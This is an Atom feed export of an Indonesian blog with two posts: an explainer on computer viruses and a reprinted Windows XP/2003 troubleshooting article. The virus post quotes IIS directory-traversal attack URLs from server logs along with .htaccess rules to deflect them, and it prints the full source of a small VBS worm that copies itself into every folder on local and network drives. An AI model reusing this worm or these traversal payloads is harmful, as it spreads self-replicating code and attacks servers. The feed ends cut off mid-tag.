<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3779977977238655719</id><updated>2011-04-22T06:02:50.535+07:00</updated><title type='text'>Danker's Blog</title><subtitle type='html'>WELCOME TO MY BLOG'</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>13</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3779977977238655719.post-6343888454619102549</id><published>2009-01-08T14:17:00.002+07:00</published><updated>2009-01-13T11:09:30.038+07:00</updated><title type='text'>virus komputer</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_CczHtaVjTBU/SWdX3y-nCaI/AAAAAAAAAB8/bMyBipoZgkM/s1600-h/images.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 143px; height: 107px;" src="http://4.bp.blogspot.com/_CczHtaVjTBU/SWdX3y-nCaI/AAAAAAAAAB8/bMyBipoZgkM/s320/images.jpg" alt="" id="BLOGGER_PHOTO_ID_5289292903458736546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer (terutama pada sistem operasi , seperti sistem operasi berbasis keluarga Windows (Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Servicepack 1, Windows XP Servicepack 2) bahkan GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer (seperti CPU Time, penggunaan memori) menjadi berkurang secara signifikan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hampir 95% Virus adalah virus komputer berbasis sistim operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard). 2% lagi menyerang sistim operasi lain seperti FreeBSD, OS/2 IBM, dan Sun Operating System.&lt;br /&gt;&lt;br /&gt;Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak antivirus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode untuk menghapus virus tersebut.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tips: Mengurangi Traffic Web Server Akibat Virus/Worm&lt;br /&gt;&lt;br /&gt;Seringkali disebutkan dalam banyak artikel bahwa keamanan web server Microsoft IIS dijadikan bulan-bulanan virus/worm, seperti CodeRed dan Nimda, yang sering mengakibatkan kerusakan yang cukup serius atau fatal. Ada banyak artikel yang menjelaskan bagaimana menutup lubang keamanan dan cara-cara mencegah kerusakan di kemudian hari.&lt;br /&gt;&lt;br /&gt;Beberapa web server lain dijadikan alternatif antara lain Apache, yang notabene merupakan web server yang paling banyak digunakan, menurut data Netcraft. Memang dengan menggunakan web server Apache, kerusakan yang diakibatkan oleh virus/worm tersebut bisa ditekan atau bisa dikatakan tidak berdampak langsung. Namun perlu diperhatikan bahwa memang virus/worm tersebut tidak menyerang lubang keamanan, tapi dapat juga mengakibatkan kerusakan atau paling tidak membebani kerja web server.&lt;br /&gt;&lt;br /&gt;Hal ini antara lain dengan mebludaknya ukuran log file oleh sampah akibat serangan2 virus/worm. Ada kasus dimana terdapat sekitar 20000 entri dalam log selama 2 hari yang hanya diakibatkan karena aktivitas virus/worm dalam jaringan/Internet.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_CczHtaVjTBU/SWdYVQyK_VI/AAAAAAAAACE/U47p-zYi4A4/s1600-h/images.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 116px; height: 116px;" src="http://1.bp.blogspot.com/_CczHtaVjTBU/SWdYVQyK_VI/AAAAAAAAACE/U47p-zYi4A4/s320/images.jpg" alt="" id="BLOGGER_PHOTO_ID_5289293409675836754" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Web server menjadi sangat sibuk dan berat. Ini terlebih-lebih jika situs yang bersangkutan menggunakan halaman error 404 khusus (not found). Ini berarti setiap ada akses yang diakibatkan oleh virus/worm ke situs tersebut, halaman error 404 akan ditampilkan. Bayangkan jika halaman tersebut berukuran besar. Ini akan menambah traffic web server secara percuma.&lt;br /&gt;&lt;br /&gt;Setelah melakukan riset pada log file Apache dan melihat banyaknya akses ke halaman error 404 tersebut (yang ikut menambah traffic web server) yang diakibatkan oleh virus/worm, ada cara untuk mengurangi traffic akibat serangan ini.&lt;br /&gt;&lt;br /&gt;Sebagai contoh, di bawah ini diambil dari log file, berisi URL yang sering diakses oleh virus/worm. Nampak jelas bahwa sebetulnya ini dibuat dalam rangka menyerang web server IIS.&lt;br /&gt;&lt;br /&gt;/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe&lt;br /&gt;/c/winnt/system32/cmd.exe&lt;br /&gt;/d/winnt/system32/cmd.exe&lt;br /&gt;/scripts/..%2f../winnt/system32/cmd.exe&lt;br /&gt;/scripts/..%c1%9c../winnt/system32/cmd.exe&lt;br /&gt;/scripts/..%%35%63../winnt/system32/cmd.exe&lt;br /&gt;/scripts/ .%%35c../winnt/system32/cmd.exe&lt;br /&gt;/scripts/..%c0%2f../winnt/system32/cmd.exe&lt;br /&gt;/scripts/..%c0%af../winnt/system32/cmd.exe&lt;br /&gt;/MSADC/root.exe&lt;br /&gt;&lt;br /&gt;Pada web server Apache ada satu fitur yaitu file .htaccess, yang berperan untuk mengontrol akses ke suatu situs. File ini sangat berguna jika digunakan secara benar, namun bisa berakibat fatal jika ada kesalahan pengisian, antara lain situs tidak dapat diakses sama sekali.&lt;br /&gt;&lt;br /&gt;Buat terlebih dahulu file .htaccess (file teks) atau tambahkan script di bawah ini ke dalam file .htaccess jika situs anda sudah terdapat file .htaccess yang terdapat di direktori utama (root) situs anda.&lt;br /&gt;&lt;br /&gt;redirect /scripts http://www.to.the.black.hole&lt;br /&gt;redirect /MSOffice http://www.to.the.black.hole&lt;br /&gt;redirect /_vti_bin http://www.to.the.black.hole&lt;br /&gt;redirect /MSADC http://www.to.the.black.hole&lt;br /&gt;redirect /msadc http://www.to.the.black.hole&lt;br /&gt;redirect /_mem_bin http://www.to.the.black.hole&lt;br /&gt;&lt;br /&gt;Script ini akan mencegah web server mengembalikan halaman error 404 dan menambahkan entry ke log file dengan cara membelokkan akses ke URL tertentu yang sebetulnya tidak valid. Dengan demikian traffic web server dapat diminimalkan yang berdampak beban web server menjadi lebih ringan.&lt;br /&gt;&lt;br /&gt;APA ITU VIRUS?&lt;br /&gt;Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak ( misalnya : dengan merusak data pada dokumen ), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.&lt;br /&gt;&lt;br /&gt;Virus komputer umumnya dapat merusak perangkat lunak ( Software ) komputer dan tidak dapat secara langsung merusak perangkat keras ( Hardware ) komputer terutama pada sistem operasi , seperti sistem operasi berbasis Microsoft Windows ( Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Service Pack 1, Windows XP Service Pack 2 ) bahkan GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer ( seperti : CPU Time, penggunaan memori ) menjadi berkurang secara signifikan. Hampir 95% Virus adalah virus komputer berbasis sistim operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard), 2% lagi menyerang sistim operasi Unix, seperti : FreeBSD dan Sun Solaris.&lt;/span&gt;&lt;span class="fullpost"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_CczHtaVjTBU/SWdYh6hH-hI/AAAAAAAAACM/Mr4yuOUBmTc/s1600-h/imageshyt.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 116px; height: 101px;" src="http://4.bp.blogspot.com/_CczHtaVjTBU/SWdYh6hH-hI/AAAAAAAAACM/Mr4yuOUBmTc/s320/imageshyt.jpg" alt="" id="BLOGGER_PHOTO_ID_5289293627037055506" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak Anti Virus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data ( Database ) virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode program untuk menghapus virus tersebut.&lt;br /&gt;&lt;br /&gt;Untuk mengetahui sejarah adanya virus komputer, kamu dapat membaca di Sejarah Perkembangan Malware Dunia ( Jadi ngga cuma di sekolah aja belajar sejarah ya! ;) ). Selain itu, untuk lebih memahami virus-virus lokal seperti : Brontok dan variannya, kamu bisa membacanya di sini. Beberapa triks untuk mengatasi serangan virus, dapat dilihat juga di tutorial cara mengatasi virus.&lt;br /&gt;&lt;br /&gt;Supaya tahu lebih jauh tentang virus komputer, virus komputer dapat dibuat dengan bahasa pemrograman komputer, seperti : Visual Basic, Visual C++, VBS, JS, DOS Command, dan bahasa pemrograman lainnya. Sebagai contoh source code virus sederhana dengan menggunakan VBS, dapat dilihat pada Virus Readme dengan source code berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;‘VOVAN//SMF Readme.a&lt;br /&gt;&lt;br /&gt;Set A=CreateObject(”Scripting.FileSystemObject”)&lt;br /&gt;Set B=CreateObject(”WScript.Shell”)&lt;br /&gt;B.RegWrite “HKEY_CLASSES_ROOT\VBSFile\DefaultIcon”,”shell32.dll,-152″&lt;br /&gt;Set C=A.Drives&lt;br /&gt;For Each Drive In C&lt;br /&gt;If Drive.DriveType=2 Or Drive.DriveType=3 Then Onward Drive.Path &amp;amp;”\”&lt;br /&gt;Next&lt;br /&gt;Function Onward(D)&lt;br /&gt;Set E=A.GetFolder(D)&lt;br /&gt;Set F=E.SubFolders&lt;br /&gt;For Each G In F&lt;br /&gt;A.CopyFile Wscript.ScriptFullName, G&amp;amp;”\Readme.vbs”&lt;br /&gt;Onward(G)&lt;br /&gt;Next&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Dengan demikian, dapat diketahui bahwa virus komputer merupakan kode program yang disalahgunakan oleh programmer pembuat-nya, baik untuk kepentingan pribadi maupun untuk kepentingan lainnya, sehingga menimbulkan keresahan bagi pengguna komputer lain. Nah kalau begitu, kesimpulannya kembali ke tanggung jawab moral masing-masing dech! ;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3779977977238655719-6343888454619102549?l=dank3r.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/6343888454619102549/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3779977977238655719&amp;postID=6343888454619102549' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/6343888454619102549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/6343888454619102549'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/2009/01/virus-komputer.html' title='&lt;blink&gt;virus komputer&lt;/blink&gt;'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_CczHtaVjTBU/SWdX3y-nCaI/AAAAAAAAAB8/bMyBipoZgkM/s72-c/images.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3779977977238655719.post-2526293925149653300</id><published>2009-01-08T13:19:00.009+07:00</published><updated>2009-01-09T21:30:48.945+07:00</updated><title type='text'>Troubleshooting Windows 2003 server</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_CczHtaVjTBU/SWdfIwHk5HI/AAAAAAAAADU/l_7zog07yhM/s1600-h/gdgsdg.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 129px; height: 65px;" src="http://1.bp.blogspot.com/_CczHtaVjTBU/SWdfIwHk5HI/AAAAAAAAADU/l_7zog07yhM/s320/gdgsdg.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5289300891330208882" /&gt;&lt;/a&gt;&lt;br /&gt;PRAKTEK XP-Trouble-Shooting - Windows Bebas Masalah&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tim reparasi telah datang. CHIP mencoba menutup kelemahan pemrograman yang berbahaya dan menyingkirkan kesalahan yang mengganggu dalam sistem operasi Anda.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Lebih mudah, lebih cepat, dan lebih hemat biaya. Patokan dasar untuk mencari solusi ini juga berlaku bagi Microsoft. Bagian kontrol kualitas melakukan penghematan. Pemrogram lihai dari berbagai negeri antah-berantah masuk menyingkirkan para konsultan yang mahal. Kode-kode mereka kemudian digabungkan dengan program utama di Redmond secara cepat melalui Copy &amp; Paste. Namun, kurangnya kecermatan dapat menyebabkan system-crash, gagal berfungsi, dan menayangkan bluescreen di PC pengguna.&lt;br /&gt;&lt;br /&gt;Di sini para pakar rekrutan CHIP berperan. Tanpa kenal lelah mereka menyisir Whitepaper pengembang Windows dan menyelami Microsoft Knowledge Base serta sumber-sumber lainnya untuk melacak bug-bug yang berbahaya. Ikut lah dengan kami ke sudut terdalam sistem operasi Anda dan bebaskan Windows XP dari kesalahan program yang mengganggu dan berbahaya.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Update menyebabkan crash&lt;br /&gt;Windows-patch yang cacat atau rusak menyebabkan bluescreen. Biasanya keterangannya dimulai dengan kata-kata 'STOP: 0x800….' yang membingungkan. Di sini tool gratis 'Qfecheck' dari Microsoft dapat membantu. Ia dapat mengidentifikasi penyebabnya dan menunjukkan sebuah artikel dalam Microsoft Knowledge Base yang menjelaskan bug tersebut secara rinci.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Untuk memperoleh tool Qfecheck, masuk ke website Microsoft dan ketikkan kode berikut ke dalam kolom Search di kanan atas. (282784)&lt;br /&gt;&lt;br /&gt;Anda akan mendapatkan link untuk men-download 'Qfecheck.exe'. Perhatikan, tersedia versi yang berbeda untuk Windows XP dan 2000. Jangan salah men-download. Setelah download selesai, klik 'Start | Run' dan masuk ke command prompt dengan perintah berikut. (cmd)&lt;br /&gt;&lt;br /&gt;Selanjutnya, ketikkan perintah berikut untuk memeriksa hotfix dan update yang terdapat pada sistem Windows Anda. (qfecheck•/v)&lt;br /&gt;&lt;br /&gt;Ketika tool menemukan update yang rusak atau berisi bug, Anda akan diberi petunjuk 'This hotfix should be reinstalled'. Di depannya ada sebuah kode, misalnya 'KB8884883'. Bila Anda memasukkan kode ini ke dalam kolom Search di website Microsoft, Anda akan sampai ke sebuah artikel dalam Knowledge Base mengenai fungsi yang bersangkutan, penyebab kesalahan, dan solusi masalahnya.&lt;br /&gt;&lt;br /&gt;2. Kesalahan 'Generic Host Process'&lt;br /&gt;Bila tool Qfecheck tidak menemukan update yang berisi bug, tidak berarti semuanya baik-baik saja. Bahkan, setelah melakukan instalasi security-update 'KB873333' dengan benar sesuai petunjuk Microsoft dalam Security Bulletin MS-05-012, Windows malah crash dengan laporan 'Generic Host Process telah menyebabkan sebuah kesalahan'. Solusinya adalah sebuah patch yang memperbaiki bagian yang bersangkutan.&lt;br /&gt;&lt;br /&gt;Untuk menemukan Windows-Update yang tepat, masukkan kode berikut ke dalam kolom Search di website Microsoft. (kb894391)&lt;br /&gt;&lt;br /&gt;Download 'Update for Windows XP' yang ditampilkan. Setelah instalasi, biasanya laporan kesalahan tidak lagi muncul. Selain itu, patch yang diberikan ini juga menambahkan perlindungan dari serangan hacker.&lt;br /&gt;&lt;br /&gt;3. Nero 6 membakar terlalu lambat&lt;br /&gt;Akibat adanya bug dalam SP2 untuk Windows XP, tool 'InCD' dalam paket Nero 6 membakar DVD dual-layer jauh lebih lambat dibandingkan program lainnya. Kesalahan ini timbul pada semua versi hingga versi 4.3.7.3. Sebuah patch dari Nero menawarkan solusinya.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_CczHtaVjTBU/SWdbBuMC4MI/AAAAAAAAACc/Ha5YrvMXLvo/s1600-h/03.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 147px;" src="http://2.bp.blogspot.com/_CczHtaVjTBU/SWdbBuMC4MI/AAAAAAAAACc/Ha5YrvMXLvo/s320/03.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5289296372506484930" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_CczHtaVjTBU/SWda0OIADrI/AAAAAAAAACU/XB7hOK1dfrw/s1600-h/02.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; &lt;br /&gt;&lt;br /&gt;Download 'Paket Update 3' dari www.nero.com/nero6/eng/nero-up.php dan instalasikan. Sebagai alternatif, Anda juga dapat meng-upgrade Nero ke versi 7 yang berisi tool 'InCD' versi 5. Tentu saja, untuk layanan upgrade ini ditarik biaya. Microsoft sendiri belum menyingkirkan kesalahan yang terdapat dalam cache-management SP2, karena hanya berefek pada program non-Microsoft seperti Nero.&lt;br /&gt;&lt;br /&gt;4. Popup-Blocker memblokir update&lt;br /&gt;Sulit dipercaya, tetapi memang terjadi. Popup-blocker yang terinstalasi dalam SP2 tidak hanya melindungi komputer Anda dari perusahaan marketing yang jahat, tetapi juga dari Windows-Update. Bug ini muncul dengan laporan kesalahan 'HTTP-Bug 500 - Internal Server Bug, 0x8dd0010'. Ia muncul begitu Anda mengklik sebuah hyperlink di website Windows-Update.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_CczHtaVjTBU/SWdbRveRaRI/AAAAAAAAACk/-871RY8cwZM/s1600-h/04.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 292px; height: 320px;" src="http://1.bp.blogspot.com/_CczHtaVjTBU/SWdbRveRaRI/AAAAAAAAACk/-871RY8cwZM/s320/04.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5289296647729277202" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Untuk menyingkirkan bug tersebut, jalankan Internet Explorer dan pilih 'Tools | Internet Options | Privacy | Popup-Blocker Settings'. Ketikkan URL 'http://v5.windowsupdate.microsoft.com' ke dalam kolom teks, lalu klik 'Add'. Tutup jendela setting.&lt;br /&gt;&lt;br /&gt;5. TV-playback bergoyang&lt;br /&gt;Akibat bug lainnya dalam SP2 untuk Windows XP, gambar bergoyang dan terjadi frame-drop pada playback acara TV melalui filter Direct-Show. Kesalahan ini tidak hanya terjadi pada playback Livestream, tetapi juga file video yang sudah tersimpan di hard disk. Solusinya ditawarkan oleh patch dari Microsoft.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_CczHtaVjTBU/SWdbg0JiklI/AAAAAAAAACs/2rHpJSK6HVE/s1600-h/05.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_CczHtaVjTBU/SWdbg0JiklI/AAAAAAAAACs/2rHpJSK6HVE/s320/05.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5289296906682536530" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Masukkan kode berikut ke dalam kolom Search di website Microsoft. (kb896626)&lt;br /&gt;&lt;br /&gt;Sebelum dapat men-download patch tersebut, Microsoft akan memeriksa apakah Anda memiliki versi Windows yang sah atau tidak. Jika tidak ada masalah, Anda dapat menginstalasinya dan menonton tanpa gangguan lagi.&lt;br /&gt;&lt;br /&gt;6. Windows hang saat shutdown&lt;br /&gt;Saat shutdown, SP2 untuk Windows XP memeriksa apakah semua Windows-update penting telah terinstalasi atau belum. Bila di sini terjadi kesalahan, akan timbul masalah shutdown dan muncul bluescreen dengan laporan 'STOP: 0x80248011'. Bila demikian, Anda harus memperbarui database yang berisi semua info relevan mengenai update yang telah terinstalasi.&lt;br /&gt;&lt;br /&gt;Untuk mengatasi masalah di atas, klik 'Start | Run' dan ketikkan kode berikut. (services•msc)&lt;br /&gt;&lt;br /&gt;Dalam jendela 'Services', klik kanan 'Automatic Updates' dan pilih 'Stop'. Sekarang, jalankan Windows Explorer dan masuk ke folder Windows. Ubah nama folder 'SoftwareDistribution' menjadi 'SoftwareDistribution.alt'. Setelah itu, jalankan kembali layanan 'Auto-Update'. Ia akan membuat sebuah folder baru bernama 'SoftwareDistribution'. Folder lama yang telah Anda ubah namanya boleh dihapus.&lt;br /&gt;&lt;br /&gt;7. Proteksi copy menyebabkan crash&lt;br /&gt;Bila Anda mendapat tampilan bluescreen dengan laporan kesalahan 'STOP: 0x0000009F Driver_Power_State_Failure', Anda adalah korban sebuah proteksi copy yang salah program. 'InterLok' dari perusahaan Pace yang antara lain ditemukan dalam produk Adobe, Pinnacle, Steinberg, dan Electronic Arts menggunakan interrupt (IRQ) yang sama dengan floppy-drive dan menimbulkan konflik resource.&lt;br /&gt;&lt;br /&gt;Masuk ke website www.paceap.com dan pilih entri 'Windows drivers' dalam daftar 'Download drivers'. Download file 'tpkd.zip' dan ekstrak arsip ZIP ini. Klik ganda file Setup.exe untuk menginstalasi driver. Bila masalah masih muncul, melalui 'Start | All Programs | Accessories | System Tools | System Informations', periksa apakah interrupt untuk floppy kembali digunakan atau tidak.&lt;br /&gt;&lt;br /&gt;Pilih 'Hardware Resources | IRQs'. 'IRQ6' hanya boleh berisi entri 'Standard Floppy-Drive Controller'. Bila ini tidak membantu, terpaksa Anda tidak menggunakan software dengan proteksi copy ini.&lt;br /&gt;&lt;br /&gt;8. WINDOWS SERVER 2003&lt;br /&gt;»Profile Tidak Dikosongkan&lt;br /&gt;&lt;br /&gt;Sebuah bug yang buruk akan terlihat ketika Windows Server 2003 di-shutdown. Windows tidak mengosongkan semua registered-user-profiles atau tidak menggabungkannya dengan benar. Dengan demikian, proses logout akan berlangsung sangat lama karena layanan Windows menanti logout user-profile yang benar. Untuk mengetahui apakah Anda terkena bug ini atau tidak, klik 'Start | Run' dan ketikkan kode berikut. (eventvwr.msc)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bila dalam kolom Event di bawah Application Anda temukan error-code 1500, 1517, atau 1524 serta keterangan sumber 'Userenv', lakukan langkah-langkah berikut.&lt;br /&gt;&lt;br /&gt;Download 'User Profile Hive Cleanup Service' yang tersedia di website Microsoft. Ia terinstalasi sebagai layanan baru Windows dan akan membebaskan cabang registry (hive) dari pengguna yang tidak login. Hasilnya, profile akan dikosongkan lebih cepat dan shutdown juga akan berlangsung lebih cepat.&lt;br /&gt;&lt;br /&gt;9. Tidak ada lingkungan jaringan&lt;br /&gt;Folder penting seperti 'My Documents' atau 'My Computer' paling cepat diakses melalui menu Start. Sayangnya programmer Windows melupakan 'My Network Places' yang juga penting. Melalui sebuah registry-hack Anda dapat membuka tampilan folder ini.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_CczHtaVjTBU/SWdcVUJQi_I/AAAAAAAAADE/0oJaUeUBLiI/s1600-h/07.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 299px; height: 320px;" src="http://3.bp.blogspot.com/_CczHtaVjTBU/SWdcVUJQi_I/AAAAAAAAADE/0oJaUeUBLiI/s320/07.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5289297808624487410" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Klik 'Start | Run' dan ketikkan perintah berikut untuk menjalankan Registry Editor. (regedit)&lt;br /&gt;&lt;br /&gt;Masuk ke HKEY_CURRENT_USER\ Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced'. Buat entri 'Start_ShowNetPlaces' melalui 'New | DWORD-Value' dan beri nilai '2'. Setelah me-restart PC, Anda dapat mengakses 'My Network Places' melalui menu Start.&lt;br /&gt;&lt;br /&gt;10. Crash setelah klik kanan&lt;br /&gt;Setelah Anda mengklik kanan sebuah file EXE, semua icon di desktop menghilang atau Windows melaporkan bahwa file 'Explorer.exe' menyebabkan pelanggaran proteksi. Kesalahan ini bisa disebabkan oleh sebuah virus seperti 'Win32.Bube'. Bila Anda tidak menemukan keberadaan virus ini, mungkin sebuah perintah dalam menu konteks tidak terintegrasi dengan benar saat aplikasi diinstalasi. Bila demikian, Anda harus melepaskan link ke menu tersebut.&lt;br /&gt;&lt;br /&gt;Pertama, periksa dulu semua media data dengan sebuah virus-scanner aktual. Banyak forum yang menyarankan NOD32 (www.nod32.com) karena mengenali 'Win32.Bube' dengan tepat. Bila Anda tidak menemukan virus, periksa apakah Windows crash hanya bila sebuah program tertentu diklik atau bukan. Bila ya, singkirkan aplikasi yang bermasalah ini dan lakukan instalasi ulang.&lt;br /&gt;&lt;br /&gt;Bila masalah masih tetap terjadi, singkirkan subkey untuk link ke program yang bermasalah tadi dari registry. Untuk itu, jalankan Registry Editor dan masuk ke kunci 'HKEY_CLASSES_ROOT\exefile\shellex'. Tandai kunci ini dalam pohon direktori dan simpan melalui perintah 'File | Export'. Selanjutnya, buka 'shellex' dan hapus seluruh subkey 'ContextMenuHandlers'. Restart PC. Masalah crash biasanya akan teratasi karena semua link dengan menu konteks yang cacat telah disingkirkan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Source : CHIP 03/2006&lt;br /&gt;Author : AS.Pratisto@CHIP.co.idThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3779977977238655719-2526293925149653300?l=dank3r.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/2526293925149653300/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3779977977238655719&amp;postID=2526293925149653300' title='0 Komentar'/><link rel='edit' type='application/atom+xml' 